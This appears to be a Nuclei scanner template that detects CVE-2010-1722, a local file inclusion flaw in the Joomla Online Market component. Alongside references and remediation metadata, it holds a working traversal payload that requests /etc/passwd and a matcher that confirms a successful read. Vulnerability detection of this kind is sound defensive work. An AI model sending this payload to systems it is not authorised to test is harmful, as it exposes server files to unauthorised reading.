id: CVE-2010-1722

info:
  name: Joomla! Component Online Market 2.x - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Online Market (com_market) component 2.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Apply the latest security patches or updates provided by Joomla! to fix the LFI vulnerability in the Online Market 2.x component.
  reference:
    - https://www.exploit-db.com/exploits/12177
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1722
    - http://www.exploit-db.com/exploits/12177
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57674
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1722
    cwe-id: CWE-22
    epss-score: 0.09471
    epss-percentile: 0.94933
    cpe: cpe:2.3:a:dev.pucit.edu.pk:com_market:2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dev.pucit.edu.pk
    product: com_market
  tags: cve,cve2010,joomla,lfi,edb,dev.pucit.edu.pk,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_market&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100bde1626be70eb785adcb4297c4c728d16f104c97ed53530754ea9b2c365b967d022100bd401bb079e3d3f8a0279ee6ab7ef1dcc95e7bf274ea48d231904bead9c48ce0:922c64590222798bb761d5b6d8e72950